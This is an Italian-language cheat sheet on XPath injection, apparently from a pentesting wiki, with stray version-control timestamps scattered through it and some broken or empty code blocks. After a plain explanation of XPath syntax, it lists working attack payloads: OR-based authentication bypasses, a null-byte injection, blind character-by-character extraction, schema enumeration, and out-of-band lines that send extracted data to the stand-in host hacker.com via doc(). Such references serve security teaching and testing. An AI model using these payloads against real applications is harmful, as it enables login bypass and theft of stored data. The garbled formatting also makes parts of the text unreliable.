## Basic Syntax
2022-11-05 10:07:43 +01:00
2024-07-19 16:12:26 +00:00
Una tecnica di attacco nota come XPath Injection viene utilizzata per sfruttare le applicazioni che formano query XPath (XML Path Language) basate sull'input dell'utente per interrogare o navigare nei documenti XML.
2023-02-27 10:28:45 +01:00
2024-07-19 16:12:26 +00:00
### Nodes Described
2023-02-27 10:28:45 +01:00
2024-02-10 13:03:23 +00:00
Le espressioni vengono utilizzate per selezionare vari nodi in un documento XML. Queste espressioni e le loro descrizioni sono riassunte di seguito:
2023-02-27 10:28:45 +01:00
2024-07-19 16:12:26 +00:00
* **nodename**: Vengono selezionati tutti i nodi con il nome "nodename".
* **/**: La selezione avviene dal nodo radice.
* **//**: Vengono selezionati i nodi che corrispondono alla selezione dal nodo corrente, indipendentemente dalla loro posizione nel documento.
2024-05-05 22:09:41 +00:00
* **.**: Viene selezionato il nodo corrente.
* **..**: Viene selezionato il genitore del nodo corrente.
* **@**: Vengono selezionati gli attributi.
2024-02-06 04:10:38 +01:00
2024-07-19 16:12:26 +00:00
### XPath Examples
2024-02-06 04:10:38 +01:00
2024-07-19 16:12:26 +00:00
Esempi di espressioni di percorso e i loro risultati includono:
2024-02-06 04:10:38 +01:00
2024-07-19 16:12:26 +00:00
* **bookstore**: Vengono selezionati tutti i nodi chiamati "bookstore".
* **/bookstore**: Viene selezionato l'elemento radice bookstore. Si nota che un percorso assoluto verso un elemento è rappresentato da un percorso che inizia con una barra (/).
* **bookstore/book**: Vengono selezionati tutti gli elementi book che sono figli di bookstore.
* **//book**: Vengono selezionati tutti gli elementi book nel documento, indipendentemente dalla loro posizione.
* **bookstore//book**: Vengono selezionati tutti gli elementi book che sono discendenti dell'elemento bookstore, indipendentemente dalla loro posizione sotto l'elemento bookstore.
2024-05-05 22:09:41 +00:00
* **//@lang **: Vengono selezionati tutti gli attributi chiamati lang.
2024-02-06 04:10:38 +01:00
2024-07-19 16:12:26 +00:00
### Utilization of Predicates
2024-02-06 04:10:38 +01:00
2024-07-19 16:12:26 +00:00
I predicati vengono utilizzati per affinare le selezioni:
2024-02-06 04:10:38 +01:00
2024-07-19 16:12:26 +00:00
* **/bookstore/book\[1]**: Viene selezionato il primo elemento book figlio dell'elemento bookstore. Una soluzione per le versioni di IE da 5 a 9, che indicizzano il primo nodo come \[0], è impostare il SelectionLanguage su XPath tramite JavaScript.
* **/bookstore/book\[last()]**: Viene selezionato l'ultimo elemento book figlio dell'elemento bookstore.
* **/bookstore/book\[last()-1]**: Viene selezionato il penultimo elemento book figlio dell'elemento bookstore.
* **/bookstore/book\[position()< 3 ]** : Vengono selezionati i primi due elementi book figli dell ' elemento bookstore .
* **//title\[@lang ]**: Vengono selezionati tutti gli elementi title con un attributo lang.
* **//title\[@lang ='en']**: Vengono selezionati tutti gli elementi title con un valore di attributo "lang" pari a "en".
* **/bookstore/book\[price>35.00]**: Vengono selezionati tutti gli elementi book della bookstore con un prezzo superiore a 35.00.
* **/bookstore/book\[price>35.00]/title**: Vengono selezionati tutti gli elementi title degli elementi book della bookstore con un prezzo superiore a 35.00.
2024-02-06 04:10:38 +01:00
2024-07-19 16:12:26 +00:00
### Handling of Unknown Nodes
2024-02-06 04:10:38 +01:00
2024-07-19 16:12:26 +00:00
I caratteri jolly vengono impiegati per abbinare nodi sconosciuti:
2024-02-06 04:10:38 +01:00
2024-05-05 22:09:41 +00:00
* **\***: Corrisponde a qualsiasi nodo elemento.
* **@**\*: Corrisponde a qualsiasi nodo attributo.
* **node()**: Corrisponde a qualsiasi nodo di qualsiasi tipo.
2024-02-06 04:10:38 +01:00
2024-07-19 16:12:26 +00:00
Ulteriori esempi includono:
2023-07-14 17:03:41 +02:00
2024-07-19 16:12:26 +00:00
* **/bookstore/\***: Seleziona tutti i nodi elemento figlio dell'elemento bookstore.
2024-05-05 22:09:41 +00:00
* **//\***: Seleziona tutti gli elementi nel documento.
2024-07-19 16:12:26 +00:00
* **//title\[@\*]**: Seleziona tutti gli elementi title con almeno un attributo di qualsiasi tipo.

### Identificare e rubare lo schema
2021-06-06 18:35:32 +00:00
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count (root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count (a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count (b) = 0
and count(/*[1]/*[2]/*) = 3 #count (c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count (d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count (e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count (f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count (g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
< root >
2024-02-10 13:03:23 +00:00
< a >
< b > < / b >
< / a >
< c >
< d > < / d >
< e > < / e >
< f >
< h > < / h >
< / f >
< / c >
2021-06-06 18:35:32 +00:00
< / root >
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>` is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

## Bypass dell'autenticazione
2021-06-06 18:35:32 +00:00
2024-02-10 13:03:23 +00:00
### **Esempio di query:**
2022-12-03 17:35:56 +00:00
```
2020-07-15 15:43:14 +00:00
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
2024-07-19 16:12:26 +00:00
### **OR bypass in user e password (stesso valore in entrambi)**
2022-12-03 17:35:56 +00:00
```
2020-07-15 15:43:14 +00:00
' or '1'='1

" or "1"="1
2020-07-15 15:43:14 +00:00
' or ''='
2021-08-23 00:07:02 +02:00
" or ""="
2020-07-15 15:43:14 +00:00
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
2024-07-19 16:12:26 +00:00
### **Abusare dell'iniezione null**
2024-02-10 13:03:23 +00:00
```
Username: ' or 1]%00
```
2024-07-19 16:12:26 +00:00
### **Doppio OR nel nome utente o nella password** (è valido con solo 1 campo vulnerabile)
2024-02-10 13:03:23 +00:00
2024-07-19 16:12:26 +00:00
IMPORTANTE: Nota che ** "and" è la prima operazione effettuata**.
2022-12-03 17:35:56 +00:00
```
2020-07-15 15:43:14 +00:00
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '

## Blind Explotation
2024-02-10 13:03:23 +00:00
2024-07-19 16:12:26 +00:00
### **Ottieni la lunghezza di un valore ed estrailo tramite confronti:**
2021-06-06 18:35:32 +00:00
```bash
2020-07-15 15:43:14 +00:00
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
2021-06-06 18:35:32 +00:00
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
2020-07-15 15:43:14 +00:00
```
2024-07-19 16:12:26 +00:00
### **Esempio di Python**

```
2024-02-10 13:03:23 +00:00
## Sfruttamento OOB
2021-06-06 18:35:32 +00:00
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
